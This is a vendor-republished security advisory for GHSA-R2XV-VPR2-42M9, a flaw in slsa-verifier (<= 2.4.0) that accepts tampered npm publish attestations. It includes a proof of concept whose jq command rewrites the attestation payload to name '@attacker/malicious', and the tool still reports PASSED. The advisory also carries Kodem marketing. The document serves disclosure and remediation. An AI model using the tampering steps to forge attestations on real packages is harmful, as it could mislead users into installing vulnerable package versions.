GHSA-R2XV-VPR2-42M9

GHSA-R2XV-VPR2-42M9 is a low-severity security vulnerability in github.com/slsa-framework/slsa-verifier/v2 (go), affecting versions <= 2.4.0. It is fixed in 2.4.1-rc.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

slsa-verifier vulnerable to mproper validation of npm's publish attestations

slsa-verifier<=2.4.0 does not correctly verify npm's publish attestations signature.

Proof of concept

Steps to reproduce:

  1. curl -Sso attestations.json $(npm view @trishankatdatadog/supreme-goggles --json | jq -r '.dist.attestations.url')
  2. curl -Sso supreme-goggles.tgz "$(npm view @trishankatdatadog/supreme-goggles --json | jq -r '.dist.tarball')"
  3. In attestations.json, take the value addressed by the jq selector .attestations[0].bundle.dsseEnvelope.payload, base64decode it, tamper with it, base64encode that, and replace the original value with that. Save the file as attestations_tampered.json.
    Here is an example command to replace the package name with @attacker/malicious:
    jq -r ".attestations[0].bundle.dsseEnvelope.payload = \"$(jq -r '.attestations[0].bundle.dsseEnvelope.payload | @base64d' < attestations.json | jq '.subject[0].name = "pkg:npm/%40attacker/malicious"' | base64 -w0)\"" < attestations.json > attestations_tampered.json
  4. SLSA_VERIFIER_EXPERIMENTAL=1 slsa-verifier verify-npm-package supreme-goggles.tgz --attestations-path attestations_tampered.json --builder-id "https://github.com/actions/runner/github-hosted" --package-name "@trishankatdatadog/supreme-goggles" --package-version 1.0.5 --source-uri github.com/trishankatdatadog/supreme-goggles
  5. The result is that slsa-verifier fails to detect this tampering of the publish attestation (unlike with the provenance attestation) and returns PASSED.

Workarounds

There is no easy way for users to fix or remediate this vulnerability without upgrading, short of verifying npm's publish attestations themselves, and cross-verifying it against GHA's provenance attestations.

References

Impact

An attacker who controls what packages and attestations are shown to a user can associate a package with an arbitrary name and version that do not match what the user expects from the publish attestation. Furthermore, the package digest in the publish attestation need not match its counterpart in the provenance attestation. However, the attacker cannot associate the given package with an arbitrary source and builder that the user does not expect from the provenance attestation. Thus, the attacker could, for example, convince package managers to install authentic but older versions of packages that contain known, exploitable vulnerabilities.

Severity is considered low because 1) it does not invalidate the provenance and 2) support for npm is currently experimental.

Affected versions

github.com/slsa-framework/slsa-verifier/v2 (<= 2.4.0) github.com/slsa-framework/slsa-verifier (<= 1.4.1)

Security releases

github.com/slsa-framework/slsa-verifier/v2 → 2.4.1-rc.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Fixed by PR #705 and released in versions >=2.4.1.

Frequently Asked Questions

  1. What is GHSA-R2XV-VPR2-42M9? GHSA-R2XV-VPR2-42M9 is a low-severity security vulnerability in github.com/slsa-framework/slsa-verifier/v2 (go), affecting versions <= 2.4.0. It is fixed in 2.4.1-rc.0.
  2. Which packages are affected by GHSA-R2XV-VPR2-42M9?
    • github.com/slsa-framework/slsa-verifier/v2 (go) (versions <= 2.4.0)
    • github.com/slsa-framework/slsa-verifier (go) (versions <= 1.4.1)
  3. Is there a fix for GHSA-R2XV-VPR2-42M9? Yes. GHSA-R2XV-VPR2-42M9 is fixed in 2.4.1-rc.0. Upgrade to this version or later.
  4. Is GHSA-R2XV-VPR2-42M9 exploitable, and should I be worried? Whether GHSA-R2XV-VPR2-42M9 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  5. What actually determines whether GHSA-R2XV-VPR2-42M9 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  6. How do I fix GHSA-R2XV-VPR2-42M9? Upgrade github.com/slsa-framework/slsa-verifier/v2 to 2.4.1-rc.0 or later.

Stop the waste.
Protect your environment with Kodem.

Get a personalized demo
Get a personalized demo